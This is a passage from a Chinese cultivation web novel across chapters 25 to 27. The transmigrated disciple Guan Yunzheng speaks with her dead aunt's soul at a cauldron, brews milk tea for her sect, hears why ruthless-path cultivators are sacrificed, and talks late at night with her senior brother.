步雁山给自己倒了一盏茶,橘皮和茶叶混杂的味道散发出来, 暖融融的蒸汽里混入一点清香与苦涩:“师兄一定没和你提起过师姐吧?” 关云铮注意到他说的称呼,意识到说的并非凌风起而是章存舒, 于是点点头:“师父应当知道我在霰照中见到了戚师叔的记忆,但他没和我提起过戚师叔。” 步雁山颔首:“师姐即将身死那段时日, 我并不在门中, 正从别处匆忙赶回,是以你也无法在霰照中见到彼时的我。” 他的表情没有太多的变化,乍一看仿佛并不十分悲痛, 神色平静地继续说道:“师兄和大师兄在如何面对这件事上产生过, ”他停顿了一下,似乎是在寻找合适的措辞,“十分激烈的争执。” “大师兄无法接受师姐即将身死的事实,更无法面对师姐,把一切归咎于自己的无能。” 关云铮从雾气里抬起眼看向一言不发的凌风起, 心说这点确实看得出来,难怪当时刀里总是见他一面都很难,原来是在疯狂内耗。 虽然把一个人复杂的情感概括为简单的“内耗”是一种居高临下的冷漠,但关云铮一时之间也想不到什么更好的表达,直觉是自己冲浪冲多了,都在看别人反刍出来的东西,的东西都沾着别人的口水,到现在连自我思维方式都快“格式化”了。 她也不敢说自己就能理解凌风起,也没有什么资格去点评凌风起对于戚寻月身死这件事的态度,只是觉得这样不愿意面对显然是不行的,至少是于事无补的。 死者离世,生者总是更痛苦,如果不珍惜最后的时间多保留一些相处的记忆,那来日又该如何度过呢?每每想起时,又会不会后悔当初自己的不敢面对呢? 关云铮小幅度地摇了摇头,轻轻叹了口气。 步雁山似乎是听见了她的叹气声,伸手摸了一把她方才被抓着御剑飞行时,被风揉乱的头发:“师兄则是在师姐死后,再也没有开口提过师姐的事。” 关云铮感觉这个话题还是有点太严肃了,说到这都不知道自己该不该接话,只好苦大仇深地抿住嘴巴。 “两位师兄虽然态度不近相同,但倒是有一个共同之处。”步雁山的神色似乎忽然轻松起来,看向凌风起说话时的语气也带了些调侃的意味,“他们都不愿意来这来去峰。” 关云铮无言看向凌风起。 一直没开口默默听着的任嵩华,居然也看向了凌风起。 凌风起额角的青筋都快爆出来了,在两人意味深长一人平淡的注视下,放下茶盏:“我来看看小月。” 步雁山恍然大悟似的点点头:“然后呢?” 凌风起猛地站起来:“去问问她这小崽子有什么长处值得她如此青睐。” 说完他就大步往外走了,头也不带回的。 关云铮一脸无辜地看向步雁山。 步雁山再次摸摸她的脑袋:“他进不了剑冢。” 关云铮有点困惑:“那师父能进剑冢是因为有先辈的武器在里面?” 步雁山摇头:“师兄他是硬闯的。” 啊? 不是,这,这对吗? 关云铮更困惑了:“那师伯硬闯也进不去吗?” 步雁山似乎是有点想笑,但是忍住了:“对。” 关云铮脑海中一番争斗:“怎么办好想笑这是可以笑的吗凌风起都走远了应该可以笑吧”,片刻后没绷住还是笑出声了。 步雁山看着凌风起离开的方向:“虽然我也不知为何,大师兄的修为与师兄并不差去多远,但大师兄始终无法进入剑冢。” 没准是剑冢里的武器们看他不顺眼呢。关云铮有点缺德地腹诽。 难怪他这么生气,原来是想去看师妹用过的刀却进不去,她这个刚来的却能凭借和不熄鼎的联系进入剑冢。 关云铮没忍住,又开始用网络词汇形容凌风起的这一行为:他破防了。 **** 关云铮后知后觉地意识到,虽然她已经自己推断出了不熄鼎的“燃料”用的是戚寻月的神魂,或者说不熄鼎就是戚寻月本尊,但她始终没有把这一推论和自己的师父师叔们说过。 于是在前往来去峰山顶的路上,关云铮小声向步雁山说出了自己的猜测。 ——之所以小声是因为坏脾气的凌风起就走在他俩旁边。 步雁山点头,肯定了她的猜测:“不熄鼎底下燃着的,确实是师姐的神魂。” 关云铮听完露出不忍的神色:“痛吗?” 步雁山似乎是没想到她会这么问,愣了一下才说:“不痛,也不会消耗,就像长明灯的灯芯一样。” 关云铮这才点点头:“那就好。” 步雁山低头看她毛茸茸的脑袋:“云崽还有什么想问的吗?” 关云铮绕过一颗小石子,抬起头来:“待会儿要怎么和师叔说话?她要怎么说呢?” 难道说火焰能显出独特的形状吗?就像象形文字一样? 任嵩华的声音响起:“神魂能传递消息,我来读。” 关云铮还没听过任嵩华一次说这么多字,刚听完还有点没回过神,好一会儿才愣愣地点了点头:“好哦。” 步雁山被她的语气词逗笑了:“好哦?” 关云铮这才回神,舌头打结似的解释道:“啊不是,我的意思是,额,好。哦是无关紧要的语气词。” 任嵩华颔首:“好。” 步雁山也点头:“好哦。”。 行吧。 继好耶人传人后,好哦也要人传人了。只能说还好任嵩华没学,不然太有悖于她对无情道的刻板印象了。 凌风起没打断他们几个的对话,又走了一段路后才出声:“到了。” 关云铮应声抬头—— 一尊青灰色的鼎出现在眼前——说真的在见到不熄鼎的这一刻关云铮觉得自己见识还是太少了,她在脑海里回忆了一下司母戊大方鼎的尺寸,似乎也才一米多高? 这就是修仙世界吗,旁边的步雁山和凌风起居然都需要仰起头来看这尊鼎。 这得有多沉啊……关云铮呆呆地想。 任嵩华已经在不熄鼎旁边的空地上盘腿坐下了,闭上双眼时手边凭空出现了一个卷轴。 关云铮被卷轴吸引目光,看着任嵩华闭着眼伸手,把它缓慢展开,显露出空无一物的内里。 似乎并非空无一物……仔细看的时候好像能看出起伏。 凌风起站在不熄鼎另一边低声说着什么,这一边任嵩华的手像是被什么掌控一般,在展开的卷轴上划动起来。 好像目睹了扶乩*现场……科学不存在了…… 关云铮几乎忘了眨眼,直到那一边凌风起含糊的低语声停歇,任嵩华才停下了动作,睁开眼睛。 那一瞬间,关云铮不敢确信自己是不是看到了和寻常的任嵩华不一样的眼神。只是那种眼神转瞬即逝,任嵩华很快就恢复了她往日平淡的神情。 卷轴被托了一把,缓缓浮动到几人面前,上面逐渐浮现出墨迹奇特的文字。 “师兄,好久不见。” 或许是在刀中见过的记忆太过刻骨铭心,关云铮几乎能想象这些文字的“语气”。 应当是带着几分笑意的、温柔的、平和的。 “偶尔她同我借灵气时,能听见她在想什么,挺有趣的,忍不住多关注了些。” “那日也是看她对剑冢颇为好奇,故而让霰照和她临时感应了一番。” “现在看来,不算做了坏事。” “我在来去峰上太无聊啦,你们也不来看我,有这小姑娘偶尔找我借个灵气,当然要答应了。” “不过师兄,你还是不留胡子好看。” 特殊的“墨迹”像是漂浮在空中,在所有的“回复”结束后,彻底消散在了风里。 关云铮看着卷轴出神,直到被步雁山拍了拍肩头,才意识到自己已经盯着卷轴很久了。 她抬头看向步雁山:“掌门,师叔是一次只能说这么多话吗?” 步雁山摇头,示意她看凌风起。 坏脾气师伯站在不熄鼎旁边,脸上的神情比关云铮方才还要愣怔。 这一瞬间关云铮脑子里冒出来的形容几乎有些……不合时宜,但细想之下又觉得好像没有比这更合适的形容了。 凌风起此时的神情就像是……走丢了的孩童骤然听见亲人呼唤自己的名字一样。 不可置信的、惊喜的,继而涌上的是一种带着茫然的委屈和难过。 关云铮很快收回视线,停止自己对一个成年人脆弱时刻的凝视。 所以并不是戚寻月一次只能说这些话,而是凌风起在“听到”她的回答后,问不出更多的话了。 关云铮把声音放得很轻,怕惊扰了什么似的:“师伯他……‘近乡情怯’了。” 步雁山点头,看向把卷轴收起来的任嵩华:“我们走吧。” **** 回到方才煮茶的地方时,关云铮想起什么,抬头看步雁山:“掌门,你还有多的茶壶吗?” 步雁山直接把火炉和茶壶一起给她了:“拿去吧。”? 关云铮一手抱着熄火的火炉,一手提着茶壶:“掌门你……” 步雁山笑眯眯的:“煮好了记得给我留哦。” 关云铮转过身就走。 学语气词也没用,这么干脆果然没安好心。 步雁山喊住她:“让你任师姐带你下去,你靠走得走到什么时候。” 怎么一听更想自己走下去了。 虽然感性上很想自己走到地老天荒,等好心的师门人来接算了,理性还是让她停住了脚步,回头看向始终站在步雁山身后的任嵩华。 任嵩华应该不常做这种事,听到步雁山的话后看了他一眼,只是很快又点头,看不出任何不情愿的样子。 关云铮忽然有点好奇任嵩华的师父是谁,虽然从没听过她喊步雁山师父,但总感觉他们的相处模式还挺像师徒的。 任嵩华朝她走过来,伸出手。 关云铮不明所以,揣摩着任嵩华此举的含义。 任嵩华收回手:“茶壶不给我,那抱你上去?” 不是,等会儿? 关云铮还没来得及反应,任嵩华已经干脆利落地把她抱起来,随即腰间的长剑出鞘,悬停在任嵩华脚边。 “走了,扶稳。”她抱着关云铮站上长剑,又把人放下,示意她站好。 关云铮赶紧把茶壶也揣怀里,一把抓住了任嵩华的袖子。 来去峰毕竟只是归墟境内的一个山头,御剑飞行的速度之下,不消片刻就回到了练武场。长剑悬停,关云铮松开手,从剑上跳下来,回头时发现任嵩华的袖子被自己攥得皱皱巴巴的,正准备道歉,注意到她目光的任嵩华低头,用另一只手拂了拂:“无事。” 就这样平整了? 无声咒是吧! 关云铮内心精彩纷呈,面上还是扮得很乖巧:“多谢任师姐。” 任嵩华点头:“嗯,走了。” 关云铮站在原地目送她离开,感觉自己对无情道的刻板印象又加深了。 本来要练一下午的御剑飞行,刚上剑人就飞到别家去了,接下来少不得花工夫多练。但这会儿关云铮还有件更在意的事要做,因此偷偷摸进饭堂,蹲在灶台边烦李演。 “有牛乳吗李厨?”关云铮抱着茶壶,做贼似的悄声。 李演差点以为自己幻听:“什么东西?” 那看来是没有。 关云铮没气馁,又给出了B选项:“那有羊奶不?” 李演不得不低头看她:“你要羊奶做什么?” 关云铮一手举火炉,一手提茶壶,蹲在灶边笑嘻嘻的:“我煮奶茶!”—— 作者有话说:感谢ww 第26章 虽然刚开始学御剑飞行就窜到了凌风起的院子, 被他抓走又被任嵩华送了回来,过得无比跌宕起伏——但实际上下午的课还没结束,师门其他人都有自己的事情要做, 因此苍生道食堂里只有尚在准备晚饭的李演——和猫在灶台边的关云铮。 听完关云铮的要求, 李演把手里的篮子塞给她:“你来洗菜,我下山给你找找。” 关云铮蹲地上一脸茫然地接过篮子:“你去哪找?” 然而李演已经没影了。 不是??? 大白天的闹鬼? 关云铮认命地站起来, 把茶壶和火炉放下, 拿起菜篮接受自己这一刻的命运。 刚才嘴快说了句羊奶也可以,现在回过神来一想,羊奶煮奶茶……关云铮皱起眉,会有多腥她都不敢想。 也没想到李演眨眼的工夫就不见了,这叫什么,缩地成寸? 长在仙门菜地里的菜干净得很, 除了几点泥星子,既没有焦黄卷曲的叶子, 也没有虫啃过的痕迹——是放在现代她绝对不敢吃的菜。 她正在心里思忖着到底是怎么做到让菜不长虫的,李演的声音在她身后响起:“没有牛乳, 也没找着羊奶, 但倒是找到了水牛乳。” 关云铮被他突然出声吓得不轻,差点把手里的菜刀砸脚背上。 等到从惊吓中回魂转过身,才意识到李演刚才说了什么:“水牛乳?你哪找来的?” 李演抱着一个高有小臂长的陶罐:“山下正好有农户的水牛产崽, 要了一罐。” “给钱了吗?”关云铮看着罐子, 被眼前的一幕玄幻得有点不知道说什么好。 “自然。我总不会去抢。”李演放下陶罐,又从她手里拿回菜刀,“你方才说的奶茶,要如何煮?” 关云铮机械地转过身,本想从缸里舀水, 忽然想起来什么,又转向李演:“杀菌了吗?” 李演再一次怀疑自己的耳朵:“杀什么?” 关云铮闭上嘴,被天降水牛奶刺激得停转的脑子终于恢复了正常:“没什么,我就是没想到你真能找来。” 李演看她一眼,似乎觉得她此刻的状态有些奇怪,但最终没说什么,摆摆手示意她躲远些,免得被热油溅着。 关云铮抱着陶罐到灶台另一边坐下了,把自己的面孔遮挡在了灶台之后。 至于吗,她想。 只是一罐牛奶而已。 且不说这个世界仍有可能是一本架空修仙文,作者可能疲于遵循古制,索性想到什么写什么。就算这是真实存在的世界,水牛奶这种东西也是自古以来就有的东西,跟现代社会没有什么必然联系。 她至于这么回不过神吗?像是什么迷途羔羊忽然看见了回去的路一样。 她有这么怀念那个世界吗? 关云铮觉得自己有点可笑,似乎总是在做一些毫无意义的事情。在现代的时候想死,好不容易没有任何痛苦,符合她期待地死了,到这个世界又开始怀念现代。 “坐那发什么呆,不是要煮茶?”李演凑过来看了眼。 关云铮像被家长抓包,慌不择路打开茶壶盖子:“要煮,正在……” “煮”字被她咽回嘴里。 天杀的这茶壶里怎么没茶叶啊! 步雁山你怎么连吃带拿啊! **** 经历了高温煮沸给牛奶杀菌、翻炒从李演处得来的茶叶至焦黄、倒入牛奶一起煮沸、加入几勺糖这一系列步骤后,关云铮端着一锅奶茶在餐桌边坐下,开始等待自己的师兄师姐。 先到的是连映,进门时还在同身后的江却说话,看见江却视线移动,跟着看过来。 “这才一会儿没见,怎么还长胡子了?”连映被关云铮的样子逗笑。 关云铮茫然地看过去,后知后觉地伸出手背擦了一下嘴角,收回手时果然看见一抹棕色。 不愧是她,一如既往地偷偷干点什么就会立马被抓包。 “这是什么?”连映走到她旁边的位置坐下,看向她面前的锅。 关云铮拿汤勺给两人各盛了一碗,推到他们面前。 连映本来还想听关云铮说说这东西究竟是什么,对上她期待的眼神后,笑着低头,端起碗喝了一口。 “甜的?”江却先开口了。 关云铮觑着他的神色,又悄悄推出茶壶:“这里面的不太甜。” 江却对上她视线,看出她似乎正观察自己,下意识抬了抬端着碗的手:“无妨,我喝这碗就好。” 连映放下碗,笑眯眯的:“不甜的给师父吧,我们喝甜的。” 闻越欢快的声音从门外传来:“什么甜的?我也要喝。” 连映头也不回,把手边另一碗往闻越要落座的位置一推。 “谢谢师姐。”闻越一弯眼睛,还没坐下就端起碗喝了口,“云崽做的吗?” 关云铮扒着桌子点点头。 “这是茶吗?好像还有别的味道?”闻越品鉴了一会儿,看向旁边的关云铮。 关云铮就像准备了完美答案等着老师提问的学生,闻言掰着手指把自己煮奶茶的过程说了一遍。 噼里啪啦说了一大堆后,她才意识到餐桌上好像有点太安静了。 好像有点忘形了……怎么二十多岁了还像个做了家务等着家长表扬的小孩,关云铮在心里埋汰了自己一句。 “你来修道真是辱没了。”闻越一脸沉痛地搭上她肩膀。 连映难得没反驳闻越没正形的话语:“师父可能也没想到,他收了个这么精通厨艺的弟子。” 精通厨艺倒是也不太配得上……关云铮有点心虚地想,单纯是赶上了好时候,抢占了这个时代奶茶的市场份额。 关云铮完全是依样画葫芦,不太好意思接受这一串夸奖,于是岔开话题道:“师父呢?怎么没来?” 江却放下碗:“来时见到了蒲前辈和掌门,应是和师父议事去了。” 蒲飞鸢和步雁山? 讨论教学相关的事吗? 关云铮有点困惑,但本来也打算之后再去找章存舒一趟,索性没有再问。 “还有吗?想再来一碗。”闻越眼巴巴地看向关云铮面前的锅。 关云铮把锅推过去:“师兄,有件事得告诉你。” 闻越咕嘟咕嘟又喝下去半碗:“什么事?这么严肃。” 关云铮看着他把奶茶当水一样吨吨吨,目露怜悯:“你晚上可能要睡不好觉了。” 闻越不以为意:“因为这茶?” 关云铮点点头。 闻越低头看了眼再次空了的碗底:“我在家也常喝茶,应当不至于?” 关云铮学他方才的动作,沉痛地拍了拍他的肩膀:“这茶威力非比寻常,总之今夜你尽早休息吧。” 闻越困惑:“这又是为何?” 关云铮的眼神中流露出过来人的一丝心酸:“因为早些休息还能睡着,晚了就再也睡不着了。” **** 吃过晚饭章存舒还没来,关云铮拎着一茶壶奶茶和李演让她端过去的一碟糕点,出发去找她的便宜师父了。 找到人的时候章存舒正和步雁山下棋,可能是听出了她的脚步声,章存舒没抬头:“拿什么好吃的来了?” 步雁山背对着她,闻言转过身来,关云铮正打算问好,发现章存舒面不改色地换掉了步雁山的一枚棋子。? 章存舒淡定自若地偷完棋子才抬起头对上关云铮的视线,无比自然地眨了眨眼。 关云铮只好也淡定地收回视线,提着茶壶跟步雁山打招呼:“掌门,你要的茶,给你留了。” 步雁山凑近些嗅了嗅味道:“好像不是茶?” 关云铮四处看看,搬来角落里一张竹椅,抱着东西坐下,又把茶壶放到桌边的石凳上,老实道:“算是茶的,嗯……一种。” 章存舒一边跟关云铮聊天,一边用棋子敲棋盘,催促步雁山接着下棋:“给你师兄师姐们尝过了?” 关云铮点点头,想了想还是把师姐的嘱咐说了:“师姐说不让您喝太甜的,我们把甜的喝完了。” 章存舒叹了口气:“这壶不甜?” 关云铮比出两个手指捏在一起:“大概就放了这么点糖。” 他听完好像又开心起来了:“我来尝尝。” 关云铮茫然看着他起身:“不下棋了?” 章存舒已经拿出茶盏给自己倒了一杯:“你掌门师叔赢了。” 关云铮更茫然地看向棋盘。 原来偷换棋子是因为馋奶茶了,想早点结束? 师父会搞小动作耍赖的新人设还没建立起来就塌了,但是师父嗜甜如命的馋鬼旧人设更稳固了…… 步雁山本来心思还在关云铮提来的茶壶上,闻言回头看向棋盘,发觉真是赢了,又扭过头看正垂眼品茶的章存舒:“师兄,你又偷我棋。” 哦,原来依旧是惯犯,关云铮坐竹椅上悄悄观察着。 章存舒没觉得有什么问题,随手把袖子里藏的那颗棋丢回棋盘,喝着茶头也不回:“甜味尚可。” 关云铮看他分明十分满意,嘴角都上扬些许。 小徒弟太安静了,也不接话,章存舒从茶盏边沿抬起眼看她:“有话要问?” 关云铮眨眨眼,全然无辜的模样。 步雁山正给自己倒茶,猜她想问戚寻月的事,喝了口没揭穿她:“师兄,宵禁的事算是定下来了?” 宵禁? 关云铮像个聆听NPC同步任务信息的玩家,一会儿看向这个,一会儿又随着说话的人改变看向那个。 章存舒第二杯奶茶喝了一半,随手把茶盏在棋盘上放下:“嗯,劳烦你先着手处理。” 说话突然这么客气?关云铮的目光在两人之间飘来飘去。 步雁山又给自己倒了一杯茶,端着茶盏起身走了:“茶不错,多谢云崽。” 关云铮目送着他走远,还没等把视线挪回章存舒身上,就听她师父开口道:“要问什么?” 她转过头,看章存舒茶盏里只剩一个棕色的底,默默把茶壶提起来。 章存舒伸手接过,先把刚才宵禁的事解释了一番:“今日武器课上楚悯险些从剑上摔下来。” 关云铮猝不及防,差点一手打在茶壶上。 还好还好,是险些,应该没受伤。 “当心。”章存舒把茶壶拎走,笑着看了她一眼,“蒲飞……蒲先生方才来找我,就是谈这件事。” “有人动手脚?”关云铮很快想到这一层,不然也没法解释好端端的怎么突然要设宵禁。估计不只是宵禁,还有一连串其他的管束手段。 章存舒随手捡起一枚棋盘上的棋子,捏在两指间打量似的:“教习期间,各派弟子繁杂,本也该设立宵禁。” 看来是还没法确定,关云铮很有眼力见的不再探究,提出她早就想问的问题:“师父,今日练剑时蒲先生说,无情道修到后来,基本都得殉道,这是为何?” 章存舒挑眉,神色有些意外,但倒是没闭口不谈:“无情道最初只如其名,断绝一切情感,因为契合普世对修道之人的看法,颇为热闹了一阵。” 关云铮悄悄摸了颗棋子在手里玩,心想有“最初”应该也有“后来”了。 章存舒放下手里的棋子:“后来仙门几位长老发现,无情道的道心和众仙山之上的仙器愈发融合,有那么几年,有些人管无情道叫器道。” 无情无爱,还以守护天下为己任,这样的刻板印象确实与仙器的定位相吻合。 但是这个话题听起来逐渐不妙,好像逐渐要去往关云铮暂时还不打算问的危险话题了…… “仙山有各自的意志,在仙山落成后逐渐形成的各仙器就是仙山意志的化形,只是仙门式微,仙器在之后的年岁里也逐渐失去效用和法力。” 刚才的感觉果然没错,总感觉下一句就是“无情道道心和仙器相合,做个殉道的再合适不过”。 虽然不知道戚寻月是修什么道的,但是这个话题的走向应该很难不让她师父想起戚寻月身死,神魂成为不熄鼎燃料这件事…… 关云铮正犹豫着要不要找个话茬岔开这个话题,不再追问了,章存舒已经神色平静地继续说下去了:“无情道能坚守到后来的,道心大多异常坚固不容撼动,仙门为了让门派活下去,选择让这些弟子以身殉道。” 长在仙山,死在仙山,道心也融进仙山。 关云铮听得简直想哆嗦。说得好听叫殉道,听上去这些弟子也并没有自己做出选择的权利,这不就是修仙界的狂人日记吗,吃人的是仙山罢了,有什么区别。 “归墟有过吗,无情道弟子殉道。”关云铮对上章存舒的视线。 她师父像是笑了一声,又像是叹了口气:“没有,归墟不收无情道。” 那任嵩华……? 关云铮还有疑虑,但真的不敢再问了,于是做出已被答疑解惑的样子,收拾起面前的棋盘。 章存舒这次是真的笑出声了:“我还以为你要问我……” 关云铮掌心握着一把棋子,抬起头:“问什么?” 章存舒笑笑不说话。 关云铮于是顺理成章地装傻:“师父要说总会告诉我,师父不说我就不问。” 万一是伤心事呢,可不兴乱问。 她师父放声笑起来,把手边的茶一饮而尽:“好茶,以后还有吗?” 关云铮点点头:“以后都有。”—— 作者有话说:存稿快没了,害怕起来了 感谢ww 第27章 闻越睡不着。 他确信自己并没有比往常晚睡多久, 但就是从躺下开始就在榻上辗转反侧,躺得浑身开始酸痛也没能成功入睡。 他仰躺着,在黑暗中瞪着屋顶, 想起白日里云崽叮嘱的话, 幽幽地叹了口气。 在“老实在自己的院子里待着”和“出去找点乐子”这两种想法之间犹豫了片刻,他最终还是屈从内心, 下床穿上外衣, 悄悄推门出去。 今夜全无月光,闻越抬头看了眼黑压压的天色,回身翻找出之前从山下带回来的纸灯,把里头的烛芯点了,提着灯再度出门。 虽然云崽煮的……奶茶?很可能是让他睡不着的元凶,但那茶比平日里喝的茶好喝多了, 也不知道是如何煮出来的,以后还有没有。 胸腔里的心格外用力地跳着, 闻越疑惑地用手抚了抚胸口,总不会是因为夜里偷溜出来感到心虚, 他都快成惯犯了, 至于这么心惊肉跳的吗? 路过大师兄的院子外,闻越下意识放轻脚步,蹑手蹑脚地快速走过, 到了连廊才放松警惕。 意识到自己刚才都做了什么, 闻越摇摇头,小声嘀咕了一句:“至于吗,大师兄又不吃人。” 其实大师兄从未动过怒,闻越也没法想象他动怒的模样,只不过他看起来总是比师门中其他人要严肃许多。师父和师姐多数时候都是笑眯眯的, 只不过师父偶尔会憋着坏,虽然师姐不笑的时候也够吓人的;掌门师叔始终是温和可亲的,只会在一些正式场合中表现出严肃的样子…… 闻越在连廊上走得很慢,途中经过了师姐的院子,借着手中的灯光望见师姐门外的花。还是之前某次下山带回来的花种呢,叫什么来着?好像是碧天一色? 牡丹花开得正好,他站在连廊那看了会儿那在暗处显得格外朦胧绰约的花影,继续往前走了。 他心不在焉,并不多么在意脚下的方向,回过神时发现自己又在下意识朝着剑冢的位置前进,此刻已经在云崽的院子外了。手里的纸灯无端晃荡,低头看时不知哪里来了一阵风,灯里那点烛芯闪烁一下,彻底暗了。 看来今夜不宜瞎逛。闻越从纸灯上收回视线,心跳亢奋然而兴致缺缺,正准备回去在自己的院子里熬过这一个晚上,身后云崽的声音突然响起:“师兄?” 闻越被吓了一跳,手里的纸灯飘飘忽忽地落在他脚边,里头的竹架子落地发出一声轻响。 “你怎么也没睡?”他转过身,两人异口同声地问道。 **** 关云铮费劲地从屋子里搬出另一把竹椅,一手提一把椅子走得颇为艰难。闻越上前从她手里接过一把,两人在院子里并排坐下。 “你院里不是就一把竹椅吗?这一把什么时候有的?”闻越拍了拍自己坐着的椅子。 关云铮也不知道怎么回事:“方才从师父那儿回来就看见院里放了一把,兴许是师姐拿过来的吧。” 闻越点点头,没再追问,靠在椅背上望着屋檐出神。 关云铮看了一会儿他的神色:“喝了奶茶睡不着吗?” 闻越闻声侧过脸来看她:“我今日歇下的时候和往日差不多,这样也会睡不着吗?” 关云铮故作老成地摇了摇头,那模样看着,似乎还想再捋一把不存在的髭须:“那你就是喝奶茶容易睡不着的体质,我就不会。” 说完还有点高兴似的,翘了一边的椅子腿晃了两下。 闻越有点好笑地揭穿她:“那你大半夜的不睡觉,明早不是还得上学?” 关云铮瘪了瘪嘴,椅子也不翘了:“做了个噩梦,睡不着了。” 换做往常,闻越约莫是不会接下这个话茬的,虽说他与云崽已经做了一段时日的同门,但噩梦这种事是很隐秘的,询问梦境的内容就显得太过窥探了。 但今夜或许是他也情绪不佳的缘故,他忽然觉得接下这个话茬也没什么,大不了互相吐一吐苦水,然后明早一起忘掉。 于是他找了个话题,又或者说,说出了埋藏心底的心里话:“我是不是同你说过,我是落水后才能引气入体的来着?” 关云铮有点困惑他为何忽然提起这个话题,但没急着问,只是点点头。 闻越接着说:“我那时引气入体花的时间比你要长一些,但也是在入门后的一月内练成的。”他又开始盯着屋檐看了,“只是从我成功引气入体到现在,都没能拥有一把属于我的剑。” 关云铮没说话,闻越没有配剑这件事她前几天就注意到了,目前见过的师门人中,除师父和掌门这两位长辈之外,任嵩华和江却都是剑不离身的,连映的剑上次逃学回来时也见到过,只有闻越,她从没见过他的剑。 以为是不爱带在身上,原来是真的没有吗…… 闻越从屋檐上收回视线看向她:“我之前跟你提起剑冢,怂恿你去,是因为我自己试过很多次都没能找到剑冢的入口,但那是因为我的先辈中没有修道之人,无法与剑冢中遗留的武器建立感应,想着没准你有,所以让你去试试。” 关云铮听出他的愧疚,伸手拍拍他的肩膀:“我不是没事嘛。”非要说那次去剑冢有什么负面结果的话……可能就是多了把会骂人的剑吧,问题不大,她可以跟剑对骂。 闻越很重地叹了口气:“我也没问过你是不是愿意,再说了,你才入门几天,我没必要急于这一时。” 但你不是怕我会步你的后尘,很长时间都不能拥有自己的剑吗。 关云铮还是没把这句话说出来,只是再度伸手,拍了拍闻越的肩膀。 闻越瘫在椅子上不说话,过了好一会儿才看向关云铮,语气听着像是已经调节好负面情绪了:“说说你的噩梦?当然,你不说也行。” 关云铮刚从噩梦中醒来那会儿,其实还因为梦境悄悄掉了几滴眼泪,现在被闻越配剑的话题一岔,有种哭懵了之后的茫然感,说起噩梦时也觉得自己有点小题大做,因此语气听着有些惭愧:“也没什么,只是梦到了……我母亲。” 闻越自然以为她说的是关云筝的母亲,因此颇有几分不高兴地说:“上次你下山的事我还没问你,我大哥也不跟我说,你没被家里人欺负吧?” 关云铮不太在意这件事,先不说一个已经腐烂的家庭没有挽救的可能和必要了,就算挽救了享受到家庭温暖的也不是原身,况且她现在能力有限,还是安生在师父师叔的羽翼下待着,等变厉害了再去解决这些问题吧。 “没什么特别的,以后我也不会再回去了。”关云铮实话实说。 闻越伸手揉了一把她的脑袋:“以后下山去我家,反正我大哥一个人在家也无聊,给他找点乐子。” 我看你是把折腾你大哥当乐子。关云铮颇觉好笑地想。 “有时候际遇是很重要的。”她忽然这样说道,“我以前在家里的时候,也没想过自己会上仙山修道。” 闻越深以为然地点点头:“我也没想过我居然能在归墟待这么久,虽然每天似乎都是那么些事,但还挺有意思的。” 关云铮这下没忍住,真的笑出声了:“师兄,我说这话的重点不是后半句。” 闻越茫然看她,显然是还在找话安慰她的状态里:“那是哪句?” 月亮已在无人注意的时候升起来了,屋檐泛着一层温凉的光。 关云铮笑着晃起她坐着的椅子:“际遇是很重要的,你没有配剑,是因为它是未来的际遇,”她看向头顶上空的屋檐,“你总会遇到的。” **** 半夜跟师兄在院里谈心的结果就是——关云铮第二天早上险些起不来。 在饭堂吃早饭的时候她甚至有点恍惚,感觉自己是灵魂飘来了但躯壳还在榻上躺着,眼神只要汇聚到一个点后眼珠就彻底不会转了。 连映没打断她放空,把粥端到她面前,放好勺子后看向另一边的闻越:“你昨夜做什么去了?” 闻越看起来比关云铮还困,吃着吃着脸都快埋进碗里了。 闻越扒着碗,头也不抬:“昨夜和云崽谈心。” 关云铮忽然被点名,迷瞪瞪地抬起头,对上连映探究的视线,如梦初醒似的解释:“对,昨夜和师兄谈心来着。” “谈了多久,困成这样?”连映给闻越端了碟小菜,推到他面前。 闻越强行撑开眼皮,抬手夹了一筷子菜:“大概两个时辰……还是多久来着……” 关云铮抱着碗小鸡啄米:“两个时辰吧……” 连映看了两人一会儿,又觉得好笑又想叹气,正想说点什么,江却晨练结束来饭堂了,看师弟师妹在桌边挨个小鸡啄米:“这是?” 关云铮一边控制不住地犯困,一边用残余不多的理智想,大师兄这样严于律己的人应该没法理解有人大早上能困成这样吧…… 连映和江却对视了一眼,似乎下定了什么决心。 关云铮感觉周围太安静了,茫然地从碗里抬起视线,正对上江却伸过来的手。? 茫然的情绪消失了。 取而代之的是一种新的茫然。 发生甚么事了这是。 “清心决。”江却解释完,在桌边坐下了。 那会儿刚穿越过来见到连映的时候,对方也给自己施了一个清心决来着,看来这玩意儿还挺好用。关云铮于是点点头:“谢谢大师兄。” 连映看向一边的闻越:“还困?我给你也来一个清心决?” 闻越猛地抬起头,眼睛都瞪大了:“我不困了。” 关云铮:……好像师姐打算给师兄施的清心决,和师兄给她施的,不是同一个呢。 “云崽今早上哪位先生的课?”连映看关云铮低头喝粥。 关云铮刚才一直在机械进食,现在终于发现粥里有东西,疑惑地一边嚼一边口齿不清地回答:“褚宣生的课。” 她嚼完有点不敢相信地问:“粥里放什么了吗?” 闻越也有点困惑:“这是甘薯吗?” “甘薯?”关云铮看着自己粥里的块状物震惊了,这口感和味道完全吃不出是番薯啊?有点硬,纤维感有点强,还不咋甜。虽然这个样子的块状物也不太有别的可能就是了……不然她也不至于那么不敢相信。 我那么甜那么软的番薯呢! 还有,番薯什么时候传入我国的来着? 哦,差点忘了这里是架空。那没事了。 “我们菜园子里还有甘薯吗?”关云铮端着碗,忽然产生了一个大胆的想法。 李演正好路过:“有啊,我种的。” 关云铮拿着碗和李演对视,片刻后还是没忍住,非常诚恳且痛心地发问:“你这都不甜,也能叫甘薯吗?” 李演脸上的笑意凝固了。 **** 闻越吃完早饭照例送关云铮去学堂,走在路上的时候看她心不在焉,提醒道:“要到学堂了。” 关云铮回过神,眼睛亮亮的:“师兄,我想做一件事!” 闻越被她雀跃的样子逗笑了:“什么事?要我帮忙吗?” 关云铮刚想说,余光看见楚悯在不远处等着,拍了一把闻越的肩膀:“午间回去再同你说,上学去啦!” 闻越看着她跑远,笑着往回走了。左右无事可做,回院子里打个盹去。 楚悯还没等关云铮跑近就急匆匆迎上来:“昨日你没摔着吧?” 关云铮拉住她的手:“我还想问你有没有受伤呢,怎么会从剑上摔下来?” 两人一起往学堂里走,楚悯看了关云铮一会儿,感觉她应该没受伤,对昨日的情况解释道:“那时候我的木剑不受控制了一会儿,就从剑上摔下来了,但是蒲先生当时就在底下站着,把我接住了,故而没受伤。” 关云铮点点头,心说章存舒找教学先生这件事上还是靠谱:“我也没摔着,被一个坏脾气老头扶了一把。” 楚悯有些想笑:“那不是你师伯吗?怎么叫他坏脾气老头?” 